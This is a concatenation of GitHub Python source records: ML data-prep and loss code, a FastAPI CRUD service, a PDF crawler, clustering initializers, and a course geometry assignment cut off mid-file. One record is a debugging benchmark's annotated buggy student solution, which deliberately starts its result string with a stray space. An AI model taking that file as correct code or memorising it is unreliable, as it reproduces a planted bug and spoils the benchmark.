np.dot(transform_matrix, shift_matrix)\n\n if shear != 0:\n shear_matrix = np.array([[1, -np.sin(shear), 0],\n [0, np.cos(shear), 0],\n [0, 0, 1]])\n transform_matrix = shear_matrix if transform_matrix is None else np.dot(transform_matrix, shear_matrix)\n\n if zx != 1 or zy != 1:\n zoom_matrix = np.array([[zx, 0, 0],\n [0, zy, 0],\n [0, 0, 1]])\n transform_matrix = zoom_matrix if transform_matrix is None else np.dot(transform_matrix, zoom_matrix)\n\n if transform_matrix is not None:\n h, w = x.shape[img_row_axis], x.shape[img_col_axis]\n transform_matrix = transform_matrix_offset_center(transform_matrix, h, w)\n x = apply_transform(x, transform_matrix, img_channel_axis,\n fill_mode=self.fill_mode, cval=self.cval)\n\n if self.channel_shift_range != 0:\n x = random_channel_shift(x,\n self.channel_shift_range,\n img_channel_axis)\n if self.horizontal_flip:\n if np.random.random() < 0.5:\n x = flip_axis(x, img_col_axis)\n\n if self.vertical_flip:\n if np.random.random() < 0.5:\n x = flip_axis(x, img_row_axis)\n\n if self.random_curves_strength > 0.:\n x = random_curves_transform(x,self.random_curves_strength)\n\n rt_batch[i] = x\n\n return rt_batch\n\n","repo_name":"CIFASIS/spp_estimation","sub_path":"augmentation.py","file_name":"augmentation.py","file_ext":"py","file_size_in_byte":16020,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"54"} +{"seq_id":"37036505057","text":"\nimport json, glob, unicodedata\nfrom Data.data import Vocab\n\n\nclass DataSet:\n def __init__(self, name):\n self.name = name\n self.vocab = None\n self.summary_pairs = []\n self.manifest = None\n\n def add_word(self, word, vocab):\n if word not in vocab.word2count:\n vocab.word2count[word] = 1\n vocab.n_words += 1\n else: vocab.word2count[word] += 1\n\n\n def compute_n_gram_novelty(self, source, target, n_gram_n):\n\n def compute_n_grams(text, n):\n return [\"~\".join([str(text[i + k]) for k in range(n)]) for i in range(len(text) - n + 1)]\n\n text_n_grams = {k: True for k in compute_n_grams(source, n_gram_n)}\n summary_n_grams = compute_n_grams(target, n_gram_n)\n nov_vector = [1]*len(target)\n for i in range(2, len(summary_n_grams)):\n if summary_n_grams[i] in text_n_grams: nov_vector[i] = 0\n\n return nov_vector\n\n def build_vocab(self, text_pairs, limit):\n vocab = Vocab(limit)\n for pair in text_pairs:\n for w in pair[0].split(\" \"): self.add_word(w, vocab)\n for w in \" \".join(pair[1]).replace(\" \", \" \").split(\" \"):\n self.add_word(w, vocab)\n words = [(w, vocab.word2count[w]) for w in vocab.word2count.keys()]\n words = sorted(words, key=lambda tup: tup[1], reverse=True)\n\n if len(words) > limit: words = words[:limit]\n for w in words:\n index = len(vocab.index2word)\n vocab.index2word[index] = w[0]\n vocab.word2index[w[0]] = index\n\n vocab.vocab_size = len(vocab.index2word)\n\n return vocab\n\n def create_dataset(self, file_paths, source_field, target_field, limit, vocab=None):\n pairs =[]\n for file in file_paths:\n pairs += load_data(file, source_field, target_field)\n if len(file_paths) > 1: pairs = sorted(pairs, key=lambda tup: tup[2])\n\n print(\"Data loaded: \", len(pairs))\n if not vocab: self.vocab = self.build_vocab(pairs, limit)\n else: self.vocab = vocab\n\n print(\"Vocab built\")\n count = 0\n\n for pair in pairs:\n el = {'source': pair[0].split(\" \"),\n 'target': [line.split(\" \") for line in pair[1]],\n 'time': pair[2], 'id': pair[3]}\n el['n_gram_novelty'] = [self.compute_n_gram_novelty(el['source'][:400], target, n_gram_n=3)\n for target in el['target']]\n el['n_gram_novelty_degree'] = [sum(vec)/len(vec) for vec in el['n_gram_novelty']]\n self.summary_pairs.append(el)\n count += 1\n if count % 10000 == 0: print(count)\n\n\n\n\n\n\n def create_manifest(self, nb_buckets):\n manifest = {'training': {'samples': dict(), 'buckets': []}, 'val': dict(), 'test': dict()}\n data = [self.summary_pairs[0:-24858], self.summary_pairs[-24858:-11490], self.summary_pairs[-11490:]]\n dicts = [manifest['training']['samples'], manifest['val'], manifest['test']]\n for i in range(3):\n for pair in data[i]: dicts[i][pair['id']] = {'source_length': len(pair['source']),\n 'target_lengths': [len(t) for t in pair['target']],\n 'novelty_degrees': [d for d in pair['n_gram_novelty_degree']]}\n\n sorted_samples = sorted(data[0], key=lambda pair: sum(len(t) for t in pair['target']))\n bucket_size = int(len(sorted_samples) / nb_buckets)\n buckets = [sorted_samples[bucket_size * i:bucket_size * (i + 1)] for i in range(nb_buckets)]\n print(len(buckets))\n for b in range(len(buckets)):\n manifest['training']['buckets'].append([pair['id'] for pair in buckets[b]])\n\n self.manifest = manifest\n\n def dump_dataset(self, out_path):\n print('Dumping data')\n import pickle\n with open(out_path + 'manifest.pickle', 'wb') as handle:\n pickle.dump(self.manifest, handle, protocol=pickle.HIGHEST_PROTOCOL)\n with open(out_path + 'vocab.pickle', 'wb') as handle:\n pickle.dump(self.vocab, handle, protocol=pickle.HIGHEST_PROTOCOL)\n count = 0\n for pair in self.summary_pairs:\n count += 1\n with open(out_path + 'data/' + str(pair['id']) + '.pickle', 'wb') as handle:\n pickle.dump(pair, handle, protocol=pickle.HIGHEST_PROTOCOL)\n if count % 1000 == 0: print(count)\n\n\n\n\n\n\n\n\ndef load_data(file_path, source_field, target_field):\n print(\"Loading file_path\", file_path)\n files = list(glob.iglob(file_path))\n data = dict()\n for f in files:\n d = json.load(open(f))\n for k in d.keys(): data[k] = d[k]\n text_pairs = []\n count = 0\n\n for el in data.keys():\n\n\n count += 1\n time = '0'\n if 'timestamp_pub' in data[el]: time = data[el]['timestamp_pub']\n text_pairs.append([unicodedata.normalize(\"NFKD\", data[el][source_field].lower()).replace('\\xa0', ''),\n [unicodedata.normalize(\"NFKD\", t.lower()).replace('\\xa0', '') for t in data[el][target_field]]\n , time, el])\n\n #if count % 1000 == 0: print(count)\n\n return sorted(text_pairs, key=lambda tup: tup[2])\n\n\n\n\npath_dm_online = '/home/havikbot/MasterThesis/Data/DailyMail/combined_final/'+\"*.txt\"\npath_cnn_online = '/home/havikbot/MasterThesis/Data/CNN/combined_final/'+\"*.txt\"\n\nout_path = '/home/havikbot/MasterThesis/Data/'\n\ndataset = DataSet('DM_CNN_50k_disk')\ndataset.create_dataset([path_dm_online, path_cnn_online], 'online_text_content', 'online_summary', 50000)\ndataset.create_manifest(100)\ndataset.dump_dataset('/home/havikbot/MasterThesis/Data/Model_data/CNN_DM/')\n\n\n\n\ndef re_bucketing(manifest, limits, nb_buckets=100):\n manifest['training']['buckets'] = {}\n for limit in limits:\n data = [(k, manifest['training']['samples'][k]) for k in manifest['training']['samples']]\n manifest['training']['buckets'][limit] = []\n sorted_samples = sorted(data,\n key=lambda tup: sum([tup[1]['target_lengths'][i] for i in range(len(tup[1]['target_lengths']))\n if sum([tup[1]['target_lengths'][j] for j in range(i+1)]) <= limit]))\n\n bucket_size = int(len(sorted_samples) / nb_buckets)\n buckets = [sorted_samples[bucket_size * i:bucket_size * (i + 1)] for i in range(nb_buckets)]\n print(len(buckets))\n for b in range(len(buckets)):\n manifest['training']['buckets'][limit].append([pair[0] for pair in buckets[b]])\n\n return manifest\n\n\n\n\n\n\n\n","repo_name":"eivhav/Abstractive_Summarization","sub_path":"Data/create_dataset.py","file_name":"create_dataset.py","file_ext":"py","file_size_in_byte":6655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"16024132338","text":"from typing import List\nfrom fastapi import FastAPI, Depends, HTTPException\nfrom databases import Database\n\nfrom app import schemas\nfrom .db import employees\nfrom .dependencies import db_conn\n\n\napp = FastAPI()\n\n\n@app.get(\n '/employee/{employee_id}',\n response_model=schemas.Employee,\n responses={404: {\"message\": 'Employee not found'}}\n )\nasync def get_employee(employee_id: int, db: Database = Depends(db_conn)):\n query = employees.select().where(employees.c.id == employee_id)\n employee = await db.fetch_one(query)\n if not employee:\n raise HTTPException(status_code=404, detail='Employee not found')\n return employee\n\n\n@app.get('/employees/', response_model=List[schemas.Employee])\nasync def get_employees(skip: int = 0, limit: int = 10, db: Database = Depends(db_conn)):\n query = employees.select()\n employees_list = await db.fetch_all(query)\n\n return employees_list[skip:skip + limit]\n\n\n@app.post('/employee/',\n response_model=schemas.Employee,\n responses={400: {\"message\": 'Email yet using'}}\n )\nasync def create_employee(employee_data: schemas.EmployeeData, db: Database = Depends(db_conn)):\n employee_data = employee_data.dict()\n\n is_employee = employees.select().where(employees.c.email == employee_data['email'])\n employee = await db.execute(is_employee)\n if employee:\n raise HTTPException(status_code=400, detail='Email yet using')\n\n query = employees.insert().values(**employee_data)\n employee_id = await db.execute(query)\n\n return {'id': employee_id, **employee_data}\n\n\n@app.put('/employee/{employee_id}',\n response_model=schemas.EmployeeData,\n status_code=201,\n responses={400: {\"message\": 'Email yet using'}}\n )\nasync def up_employee(employee_id: int, employee_data: schemas.EmployeeData, db: Database = Depends(db_conn)):\n employee_data = employee_data.dict()\n is_employee = employees.select().where(employees.c.id == employee_id)\n employee = await db.execute(is_employee)\n\n if not employee:\n raise HTTPException(status_code=404, detail='Employee not found')\n\n is_email = employees.select().where(employees.c.email == employee_data['email'])\n employee = await db.execute(is_email)\n\n if employee and employee != employee_id:\n raise HTTPException(status_code=400, detail='Email yet using')\n\n query = employees.update().where(employees.c.id == employee_id).values(**employee_data)\n await db.execute(query)\n\n return employee_data\n\n\n@app.delete('/employee/{employee_id}', status_code=204)\nasync def del_employee(employee_id: int, db: Database = Depends(db_conn)):\n del_query = employees.delete().where(employees.c.id == employee_id)\n await db.execute(del_query)\n","repo_name":"flatline-dot/nano_testwork","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"38715280323","text":"# coding = UTF-8\n# 爬取html链接中的PDF文档\n\nimport urllib.request\nimport re\nimport os\n\nfrom bs4 import BeautifulSoup\n\n# open the url and read\ndef getHtml(url):\n print(\"----------------------------\", url, \"---------------------------------\")\n page = urllib.request.urlopen(url, timeout = 60)\n html = page.read()\n page.close()\n return html\n\n# compile the regular expressions and find\n# all stuff we need\ndef getDownloadList(html):\n soup = BeautifulSoup(html.decode('UTF-8'))\n span_list = soup.find_all('span', class_=\"srch-Title\")\n download_list = map(lambda x: (x.a['href'], x.a.string), span_list)\n return download_list\n\ndef getFile(url, name):\n name = name.replace('/', '')\n file_name = name + '_' + url.split('/')[-1]\n print (\"Begin to download %s from %s\" % (file_name, url))\n u = urllib.request.urlopen(url, timeout=60)\n if not os.path.exists('download'):\n os.mkdir('download')\n f = open(os.path.join('download/', file_name), 'wb')\n\n block_sz = 8192\n while True:\n buffer = u.read(block_sz)\n if not buffer:\n break\n\n f.write(buffer)\n f.close()\n print (\"Sucessful to download %s from %s\" % (file_name, url))\n\nroot_url = 'http://search.envir.cn/results.aspx?' #下载地址中相同的部分\n\n# for i in range(115, 400):\n# url = root_url + \"k=%s&start1=%s\"%(urllib.parse.quote(\"环评 pdf\"), i * 10 + 1)\n# try:\n# html = getHtml(url)\n# except Exception:\n# print(\"Can't get html from %s\" % url)\n# f1 = open(\"pageErr\", 'a+')\n# f1.write(url + '\\n')\n# f1.close()\n# else:\n# download_list = getDownloadList(html)\n# for download_url, name in download_list:\n# try:\n# getFile(download_url, name)\n# except Exception:\n# print(\"Unable to download from %s\" % download_url)\n# f2 = open(\"pdfErr\", 'a+')\n# f2.write(download_url + '\\n')\n# f2.close()\n\nwith open(\"pdfErr\") as result: \n for download_url in result:\n try:\n getFile(download_url, download_url.split(\"/\")[-1])\n except Exception:\n print(\"Unable to download from %s\" % download_url)\n\n","repo_name":"Victor-ZHC/small-job","sub_path":"pdf-downloader/downloader.py","file_name":"downloader.py","file_ext":"py","file_size_in_byte":2244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"11978670860","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThe :mod:`dmae.initializers` module implements some initializers for DMAE.\n\"\"\"\n# Author: Juan S. Lara \n# License: MIT\n\nimport numpy as _np\nimport tensorflow as _tf\nfrom tensorflow.keras.initializers import Initializer as _Initializer\nfrom dmae import dissimilarities as _dissimilarities\n\nclass InitPlusPlus(_Initializer):\n \"\"\"\n A tf.keras initializer based on K-Means++ that allows dissimilarities.\n \n Parameters\n ----------\n X: array-like, shape=(n_samples, n_features)\n Input data.\n n_clusters: int\n Number of clusters.\n dissimilarity: function, default: :mod:`dmae.dissimilarities.euclidean`\n A tensorflow function that computes a paiwise dissimilarity function between a batch\n of points and the cluster's parameters.\n iters: int, default: 100\n Number of interations to run the K-means++ initialization.\n \"\"\"\n \n def __init__(self, X, n_clusters, dissimilarity=_dissimilarities.euclidean, iters=100):\n self.__X = X\n self.__n_clusters = n_clusters\n self.__dissimilarity = dissimilarity\n self.__iters = iters\n \n def __call__(self, shape, dtype):\n \"\"\"\n Estimates `n_clusters` using K-means++\n\n Parameters\n ----------\n shape : tuple\n Expected parameter shape.\n dtype : str\n Parameter's type.\n\n Returns\n -------\n init_vals : array-like, shape=(n_clusters, n_features)\n Matrix with the initial weights.\n \"\"\"\n\n idx = _np.arange(self.__X.shape[0])\n _np.random.shuffle(idx)\n selected = idx[:self.__n_clusters]\n init_vals = self.__X[idx[:self.__n_clusters]]\n\n for i in range(self.__iters):\n clus_sim = self.__dissimilarity(\n init_vals, \n init_vals\n ).numpy()\n\n _np.fill_diagonal(\n clus_sim, \n _np.inf\n )\n\n candidate = self.__X[\n _np.random.randint(\n self.__X.shape[0]\n )\n ].reshape(1, -1)\n candidate_sims = self.__dissimilarity(\n candidate, \n init_vals\n ).numpy().flatten()\n\n closest_sim = candidate_sims.min()\n closest = candidate_sims.argmin()\n\n if closest_sim>clus_sim.min():\n replace_candidates_idx = _np.array(\n _np.unravel_index(\n clus_sim.argmin(),\n clus_sim.shape\n )\n )\n replace_candidates = init_vals[replace_candidates_idx, :]\n\n closest_sim = self.__dissimilarity(\n candidate, \n replace_candidates\n ).numpy().flatten()\n\n replace = _np.argmin(closest_sim)\n init_vals[replace_candidates_idx[replace]] = candidate\n\n else:\n candidate_sims[candidate_sims.argmin()] = _np.inf\n second_closest = candidate_sims.argmin()\n if candidate_sims[second_closest] > clus_sim[closest].min():\n init_vals[closest] = candidate\n\n return _tf.cast(init_vals, dtype)\n\nclass InitKMeans(_Initializer):\n \"\"\"\n A tf.keras initializer to assign the clusters from a sklearn's KMeans model.\n \n Parameters\n ----------\n kmeans_model: :mod:`sklearn.cluster.KMeans`\n Pretrained KMeans model to initialize DMAE.\n \"\"\"\n\n def __init__(self, kmeans_model):\n self.__kmeans = kmeans_model\n \n def __call__(self, shape, dtype):\n \"\"\"\n Converts KMeans centroids into tensors.\n\n Parameters\n ----------\n shape : tuple\n Expected parameter shape.\n dtype : str\n Parameter's type.\n\n Returns\n -------\n init_vals : array-like, shape=(n_clusters, n_features)\n Matrix with the initial weights.\n \"\"\"\n\n return _tf.cast(\n self.__kmeans.cluster_centers_,\n dtype\n )\n \nclass InitIdentityCov(_Initializer):\n \"\"\"\n A tf.keras initializer to assign identity matrices to the covariance parameters. \n \n Parameters\n ----------\n X: array-like, shape=(n_samples, n_features)\n Input data.\n n_clusters: int\n Number of clusters.\n \"\"\"\n \n def __init__(self, X, n_clusters):\n self.__X = X\n self.__n_clusters = n_clusters\n \n def __call__(self, shape, dtype):\n \"\"\"\n Generates identity matrices for the given shape and type.\n\n Parameters\n ----------\n shape : tuple\n Expected parameter shape.\n dtype : str\n Parameter's type.\n\n Returns\n -------\n init_vals : array-like, shape=(n_clusters, n_features)\n Matrix with the initial weights.\n \"\"\"\n\n return _tf.eye(self.__X.shape[1], batch_shape=[self.__n_clusters])\n \nclass InitKMeansCov(_Initializer):\n \"\"\"\n A tf.keras initializer to compute covariance matrices from K-means.\n \n Parameters\n ----------\n kmeans_model: :mod:`sklearn.cluster.KMeans`\n Pretrained KMeans model to initialize DMAE.\n X: array-like, shape=(n_samples, n_features)\n Input data.\n n_clusters: int\n Number of clusters.\n \"\"\"\n\n def __init__(self, kmeans_model, X, n_clusters):\n self.__kmeans_model = kmeans_model\n self.__X = X\n self.__n_clusters = n_clusters\n \n def __call__(self, shape, dtype):\n \"\"\"\n Computes covariance matrices from the KMeans predictions.\n\n Parameters\n ----------\n shape : tuple\n Expected parameter shape.\n dtype : str\n Parameter's type.\n\n Returns\n -------\n init_vals : array-like, shape=(n_clusters, n_features)\n Matrix with the initial weights.\n \"\"\"\n\n res = []\n preds = self.__kmeans_model.predict(self.__X)\n for i in range(self.__n_clusters):\n clus_points = self.__X[preds==i]\n res.append(\n _np.expand_dims(\n _np.linalg.cholesky(\n _np.linalg.inv(\n _np.cov(clus_points.T)\n )\n ),\n axis=0\n )\n )\n\n return _tf.cast(\n _np.concatenate(res, axis=0), \n dtype\n )\n","repo_name":"juselara1/dmae","sub_path":"dmae/initializers.py","file_name":"initializers.py","file_ext":"py","file_size_in_byte":6770,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"54"} +{"seq_id":"17976945837","text":"import torch.nn as nn\nimport torch.nn.functional as F\nimport torch\nimport math\n\ndef cross_entropy_2D(input, target, weight=None, size_average=True):\n n, c, h, w = input.size()\n log_p = F.log_softmax(input, dim=1)\n log_p = log_p.transpose(1, 2).transpose(2, 3).contiguous().view(-1, c)\n target = target.view(target.numel())\n loss = F.nll_loss(log_p, target, weight=weight, size_average=False)\n if size_average:\n loss /= float(target.numel())\n return loss\n\ndef cross_entropy_3D(input, target, weight=None, size_average=True):\n n, c, h, w, s = input.size()\n log_p = F.log_softmax(input, dim=1)\n log_p = log_p.transpose(1, 2).transpose(2, 3).transpose(3, 4).contiguous().view(-1, c)\n #target = target.view(target.numel())\n target = target.view(target.numel())\n loss = F.nll_loss(log_p, target, weight=weight, size_average=False)\n if size_average:\n loss /= float(target.numel())\n #print(loss)\n return loss\n\nclass SoftDiceLoss(nn.Module):\n def __init__(self, weight=None, size_average=True):\n super(SoftDiceLoss, self).__init__()\n\n def forward(self, logits, targets):\n num = targets.size(0)\n smooth = 1\n\n probs = F.sigmoid(logits)\n m1 = probs.view(num, -1)\n m2 = targets.view(num, -1)\n intersection = (m1 * m2)\n\n score = 2. * (intersection.sum(1) + smooth) / (m1.sum(1) + m2.sum(1) + smooth)\n score = 1 - score.sum() / num\n #print(score.shape)\n return score\n\n\nclass DiceMean(nn.Module):\n def __init__(self):\n super(DiceMean, self).__init__()\n\n def forward(self, logits, targets):\n class_num = logits.size(1)\n\n dice_sum = 0\n for i in range(class_num):\n inter = torch.sum(logits[:, i, :, :, :] * targets[:, i, :, :, :])\n union = torch.sum(logits[:, i, :, :, :]) + torch.sum(targets[:, i, :, :, :])\n dice = (2. * inter + 1) / (union + 1)\n dice_sum += dice\n #print(dice_sum / class_num)\n return dice_sum / class_num\n\n\nclass DiceMeanLoss(nn.Module):\n def __init__(self):\n super(DiceMeanLoss, self).__init__()\n\n def forward(self, logits, targets):\n class_num = logits.size()[1]\n #print(logits.size(),targets.size())\n dice_sum = 0\n for i in range(class_num):\n inter = torch.sum(logits[:, i, :, :, :] * targets[:, i, :, :, :])\n union = torch.sum(logits[:, i, :, :, :]) + torch.sum(targets[:, i, :, :, :])\n dice = (2. * inter + 1) / (union + 1)\n dice_sum += dice\n return 1 - dice_sum / class_num\n\nclass scoring(nn.Module):\n def __init__(self):\n super(scoring, self).__init__()\n\n def forward(self, logits):\n class_num = logits.size()[1]\n\n score_sum = 0\n for i in range(class_num):\n S=torch.exp(logits)+1\n score=torch.sum(torch.log(S))\n score_sum += score\n return score_sum/class_num\n\nclass LwFloss(nn.Module):\n def __init__(self):\n super(LwFloss, self).__init__()\n\n def forward(self, oldlogits, newlogits, targets,lamta=0.5,margin=100):\n class_num = 1#logits.size()[1]\n Rt=oldlogits\n Rs=newlogits\n yreg=targets\n L_sum = 0\n for i in range(class_num):\n L1=torch.sum(abs(Rs[:,i,:,:,:]-yreg[:,i,:,:,:]))\n Lbt=torch.sum(abs(Rt[:,i,:,:,:]-yreg[:,i,:,:,:])*abs(Rt[:,i,:,:,:]-yreg[:,i,:,:,:]))\n Lbs=torch.sum(abs(Rs[:,i,:,:,:]-yreg[:,i,:,:,:])*abs(Rs[:,i,:,:,:]-yreg[:,i,:,:,:]))\n '''print(Lbs)\n print(Lbt)'''\n if (Lbs+margin>Lbt):\n L2=Lbs\n else:\n L2=0\n L=L1+lamta*L2\n L_sum+=L\n return L_sum\n\nclass WeightDiceLoss(nn.Module):\n def __init__(self):\n super(WeightDiceLoss, self).__init__()\n\n def forward(self, logits, targets):\n\n #num_sum = torch.sum(targets, dim=(0, 2, 3, 4))\n w = torch.Tensor([0.25, 0.75]).cuda()\n '''for i in range(targets.size(1)):\n if (num_sum[i] < 1):\n w[i] = 0\n else:\n w[i] = (0.1 * num_sum[i] + 1) / (torch.sum(num_sum) + 1)'''\n inter = w * torch.sum(targets * logits, dim=(0, 2, 3, 4))\n inter = torch.sum(inter)\n\n union = w * torch.sum(targets + logits, dim=(0, 2, 3, 4))\n union = torch.sum(union)\n print(inter,union)\n return 1 - 2. * inter / union\n\ndef dice(logits, targets, class_index):\n #logits=F.softmax(logits,dim=class_index)\n #targets=F.softmax(targets,dim=1)\n inter = torch.sum(logits[:, class_index, :, :, :] * targets[:, class_index, :, :, :])\n union = torch.sum(logits[:, class_index, :, :, :]) + torch.sum(targets[:, class_index, :, :, :])\n #dice = (2. * inter + 1) / (union + 1)\n dice = (2. * inter+1 ) / (union +1)\n return dice\n\ndef T(logits, targets):\n return torch.sum(targets[:, 2, :, :, :])\n\ndef P(logits, targets):\n return torch.sum(logits[:, 2, :, :, :])\n\ndef TP(logits, targets):\n return torch.sum(targets[:, 2, :, :, :] * logits[:, 2, :, :, :])\n","repo_name":"justaswell/Soma_Unet","sub_path":"utilsa/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":5120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"40357974493","text":"import random\nfrom io import BytesIO, BufferedReader\n\nimport requests\n\n\ndef testValidCode():\n img_url = \"http://cgs.gzjd.gov.cn/vbook/images/verifycode\" + '?' + str(random.randrange(50000, 60000))\n\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36'\n }\n r = requests.get(img_url, headers=headers, stream=True)\n\n # 将bytes结果转化为字节流\n bytes_stream = BytesIO(r.content)\n\n # \n print(type(bytes_stream))\n\n # \n print(type(bytes_stream.read()))\n\n file_like = BufferedReader(bytes_stream)\n\n # \n print(type(file_like))\n\n # \n print(type(file_like.read()))\n\n\nif __name__ == '__main__':\n testValidCode()\n","repo_name":"altraman00/deprecated_python_mdl","sub_path":"python_mdl/car/实战/TestVerificationCode3.py","file_name":"TestVerificationCode3.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"12583915611","text":"from nebulous_reward.botforge.base import Agent\nfrom nebulous_reward.botforge.base import Policy\nfrom nebulous_reward.botforge.base import Algorithm\nfrom nebulous_reward.util import StatusWindow\nfrom random import random, choice\n\n\nclass AJPolicy(Policy):\n def __init__(self, n_actions, epsilon):\n super().__init__(\n parameters=dict(zip(\n range(n_actions), [[]] * n_actions # initially the average reward for each action is 0\n ))\n )\n self.choices = range(n_actions)\n self.epsilon = epsilon\n self.average_reward = dict(zip(self.choices, [0.0] * n_actions))\n\n def select_action(self, state):\n \"\"\"\n The average joe's policy is to blindly select the next action based on the max average reward for actions\n as they are recorded each time an action is taken (via the update policy function)\n :param state: in this implementation,this function is unused\n :return: returns the action to be taken\n \"\"\"\n if random() < self.epsilon:\n return max(self.average_reward, key=lambda x: self.average_reward[x])\n else:\n return choice(self.choices)\n\n def update_policy(self, reward, action):\n self.parameters[action].append(reward)\n self.average_reward[action] = sum(self.parameters[action]) / len(self.parameters[action])\n return None\n\n\nclass AJAgent(Agent):\n def __init__(self, policy, value_function):\n super().__init__(policy, value_function)\n\n def get_action(self, state):\n return self.policy(state)\n\n def learn(self, reward, action):\n return self.policy.update_policy(reward, action)\n\n\nclass AverageJoe(Algorithm):\n def __init__(self, agent, env):\n super().__init__(agent, env)\n self.status_window = StatusWindow()\n\n def apply(self, epochs, steps):\n render_mode = self.env.render_mode\n _ = self.env.reset()\n if render_mode is not None:\n _render = self.env.render()\n if render_mode != 'human':\n self._update_render_history(0, 0, _render)\n else:\n self.status_window.initialize()\n self.status_window.update(0, 0, 'NA', 'NA')\n\n for epoch in range(epochs):\n observation, info = self.env.reset()\n\n for step in range(steps):\n action = self.agent.get_action(observation)\n observation, reward, terminated, truncated, info = self.env.step(action)\n\n self.agent.learn(reward, action)\n\n if render_mode is not None:\n if render_mode != 'human':\n self._update_render_history(epoch, step, self.env.render())\n else:\n self.status_window.update(epoch, step, action, reward)\n\n if terminated or truncated:\n break\n\n if render_mode == 'human':\n self.status_window.close()\n return None\n","repo_name":"VediYD/nebulous-reward","sub_path":"nebulous_reward/botforge/dumb/average_joe.py","file_name":"average_joe.py","file_ext":"py","file_size_in_byte":3009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"73166493603","text":"# User function Template for python3\nclass Solution:\n def merge(self, S1, S2):\n # ANNOTATE: initialize the variable `str` to hold the result. You made a bug here: you should actually initialize `str` as an empty string\n str = \" \"\n # i =0\n # ANNOTATE: loop to add characters from `S1` and `S2` to `str` alternatively\n for i in range(max(len(S1), len(S2))):\n # ANNOTATE: only add `S1[i]` if length of S1 is more than i\n if i < len(S1):\n str += S1[i]\n # ANNOTATE: only add `S2[i]` if length of S2 is more than i\n if i < len(S2):\n str += S2[i]\n # ANNOTATE: increment i by 1. This statement is actually redundant, but it doesn't affect the correctness of the program neither\n i += 1\n\n return str\n\n\n# {\n# Driver Code Starts\n# Initial Template for Python 3\n\nif __name__ == \"__main__\":\n t = int(input())\n for _ in range(t):\n S1, S2 = map(str, input().strip().split())\n ob = Solution()\n print(ob.merge(S1, S2))\n# } Driver Code Ends\n","repo_name":"martineberlein/debugging-benchmark","sub_path":"src/debugging_benchmark/student_assignments/problem_11_Merge-two-strings/prog_3/buggy_annotated.py","file_name":"buggy_annotated.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1451845570","text":"# geometry.py\r\n# ---------------\r\n# Licensing Information: You are free to use or extend this projects for\r\n# educational purposes provided that (1) you do not distribute or publish\r\n# solutions, (2) you retain this notice, and (3) you provide clear\r\n# attribution to the University of Illinois at Urbana-Champaign\r\n#\r\n# Created by James Gao (jamesjg2@illinois.edu) on 9/03/2021\r\n# Inspired by work done by Jongdeog Lee (jlee700@illinois.edu)\r\n\r\n\"\"\"\r\nThis file contains geometry functions necessary for solving problems in MP3\r\n\"\"\"\r\n\r\nimport math\r\nimport numpy as np\r\nfrom alien import Alien\r\nfrom typing import List, Tuple\r\n\r\ndef does_alien_touch_wall(alien, walls,granularity):\r\n \"\"\"Determine whether the alien touches a wall\r\n\r\n Args:\r\n alien (Alien): Instance of Alien class that will be navigating our map\r\n walls (list): List of endpoints of line segments that comprise the walls in the maze in the format [(startx, starty, endx, endx), ...]\r\n granularity (int): The granularity of the map\r\n\r\n Return:\r\n True if touched, False if not\r\n \"\"\"\r\n\r\n granularity_calc = ((granularity)/np.sqrt(2)) + alien.get_width()\r\n for wall in walls:\r\n startxy = (wall[0], wall[1])\r\n endxy = (wall[2], wall[3])\r\n wall_segment = (startxy, endxy)\r\n if alien.is_circle():\r\n wall_dist = point_segment_distance(alien.get_centroid(), wall_segment)\r\n else:\r\n wall_dist = segment_distance(alien.get_head_and_tail(), wall_segment)\r\n if np.isclose(wall_dist, granularity_calc) or wall_dist <= granularity_calc:\r\n return True\r\n\r\n return False\r\n\r\ndef does_alien_touch_goal(alien, goals):\r\n \"\"\"Determine whether the alien touches a goal\r\n \r\n Args:\r\n alien (Alien): Instance of Alien class that will be navigating our map\r\n goals (list): x, y coordinate and radius of goals in the format [(x, y, r), ...]. There can be multiple goals\r\n \r\n Return:\r\n True if a goal is touched, False if not.\r\n \"\"\"\r\n\r\n for goal in goals:\r\n goal_segment = (goal[0], goal[1])\r\n radius = goal[2]\r\n goal_edge = radius + alien.get_width()\r\n if alien.is_circle():\r\n goal_dist = np.sqrt((goal[0] - alien.get_centroid()[0])**2 + (goal[1] - alien.get_centroid()[1])**2)\r\n else:\r\n goal_dist = point_segment_distance(goal_segment, alien.get_head_and_tail())\r\n if np.isclose(goal_dist, goal_edge) or goal_dist <= goal_edge:\r\n return True\r\n\r\n\r\n return False\r\n\r\ndef is_alien_within_window(alien, window,granularity):\r\n \"\"\"Determine whether the alien stays within the window\r\n \r\n Args:\r\n alien (Alien): Alien instance\r\n window (tuple): (width, height) of the window\r\n granularity (int): The granularity of the map\r\n \"\"\"\r\n granularity_calc = ((granularity)/np.sqrt(2)) + alien.get_width()\r\n\r\n window_borders = np.array([((0,0),(0,window[1])), ((0,window[1]),(window)), ((window),(window[0], 0)), ((window[0],0),(0,0))])\r\n for i in range(len(window_borders)):\r\n if alien.is_circle():\r\n window_dist = point_segment_distance(alien.get_centroid(), window_borders[i])\r\n if np.isclose(window_dist, granularity_calc) or window_dist <= granularity_calc:\r\n return False\r\n else:\r\n window_dist = segment_distance(alien.get_head_and_tail(), window_borders[i])\r\n if np.isclose(window_dist, granularity_calc) or window_dist <= granularity_calc:\r\n return False\r\n\r\n return True\r\n\r\ndef point_segment_distance(point, 